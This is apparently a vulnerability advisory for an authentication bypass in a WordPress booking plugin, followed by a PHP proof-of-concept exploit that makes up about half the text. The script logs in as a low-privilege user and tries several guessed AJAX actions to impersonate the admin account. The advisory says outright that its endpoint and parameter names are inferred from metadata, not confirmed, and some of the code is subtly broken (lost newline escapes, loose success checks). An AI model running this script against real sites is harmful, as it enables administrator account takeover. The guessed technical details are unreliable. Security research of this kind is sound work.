Atomic Edge analysis of CVE-2026-27390 (metadata-based):
The WeDesignTech Ultimate Booking Addon plugin for WordPress contains an authentication bypass vulnerability affecting all versions up to and including 1.0.1. This vulnerability allows authenticated attackers with Subscriber-level permissions to impersonate other users, including administrators, by exploiting a flawed authentication mechanism within the plugin’s components.
Atomic Edge research indicates the root cause likely involves an alternate authentication path or channel (CWE-288). The plugin probably implements a custom authentication function or endpoint that improperly validates user identity before performing privileged operations. This inference stems from the CWE classification and the description of authenticated attackers bypassing authentication to access other accounts. Without source code, Atomic Edge cannot confirm the exact vulnerable function, but the pattern suggests a missing or insufficient capability check on an AJAX handler, REST endpoint, or admin function.
Exploitation requires an attacker to possess a valid Subscriber account. The attacker would then send a crafted request to a plugin-specific endpoint, likely /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook. The payload would contain parameters specifying a target user ID or username. The plugin’s handler processes this request without verifying the current user has permission to assume the target identity, returning a session or authentication token for the targeted account.
Remediation requires implementing proper capability checks on all authentication-related functions. The plugin must verify the current user’s identity matches the requested target user identity for any operation that changes authentication state. WordPress core functions like current_user_can() or user_can() should enforce proper authorization. Nonce verification alone is insufficient, as the vulnerability involves privilege escalation beyond CSRF protection.
Successful exploitation grants attackers access to any user account, including administrators. This leads to complete site compromise. Attackers can modify plugin settings, inject malicious code, deface the site, exfiltrate sensitive data, or create backdoor administrator accounts. The CVSS score of 8.8 reflects high impacts to confidentiality, integrity, and availability with low attack complexity from a network-accessible position.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27390 - WeDesignTech Ultimate Booking Addon <= 1.0.1 - Authenticated (Subscriber+) Authentication Bypass
<?php
/**
* Proof of Concept for CVE-2026-27390
* Assumptions based on metadata analysis:
* 1. Plugin uses WordPress AJAX handlers (common pattern)
* 2. AJAX action name likely contains 'wedesigntech' or 'ultimate_booking'
* 3. Endpoint accepts parameters to specify target user
* 4. No capability check on the authentication function
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'attacker_subscriber'; // Attacker's Subscriber username
$password = 'attacker_password'; // Attacker's Subscriber password
$target_user = 'admin'; // Username of admin account to hijack
// Step 1: Authenticate as Subscriber to get valid cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Get login page to retrieve nonce (if needed)
$response = curl_exec($ch);
// Prepare login POST data
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Step 2: Exploit authentication bypass via plugin AJAX endpoint
// Inferred endpoint based on plugin slug patterns
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Multiple possible action names based on common plugin naming conventions
$possible_actions = array(
'wedesigntech_ultimate_booking_auth',
'ultimate_booking_switch_user',
'wdt_uba_auth_bypass',
'wedesigntech_uba_login_as'
);
foreach ($possible_actions as $action) {
$exploit_data = array(
'action' => $action,
'target_user' => $target_user, // Parameter name may vary
'user_id' => $target_user, // Alternative parameter
'username' => $target_user, // Alternative parameter
'login_as' => $target_user // Alternative parameter
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);
// Check for success indicators
if (strpos($response, 'admin') !== false ||
strpos($response, 'success') !== false ||
strpos($response, 'redirect') !== false) {
echo "Potential success with action: $actionn";
echo "Response: $responsen";
break;
}
}
curl_close($ch);
// Step 3: Verify admin access by accessing admin dashboard
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') !== false && strpos($response, 'admin') !== false) {
echo "SUCCESS: Likely authenticated as admin.n";
} else {
echo "Exploit attempt completed. Check cookies.txt for session.n";
}
?>
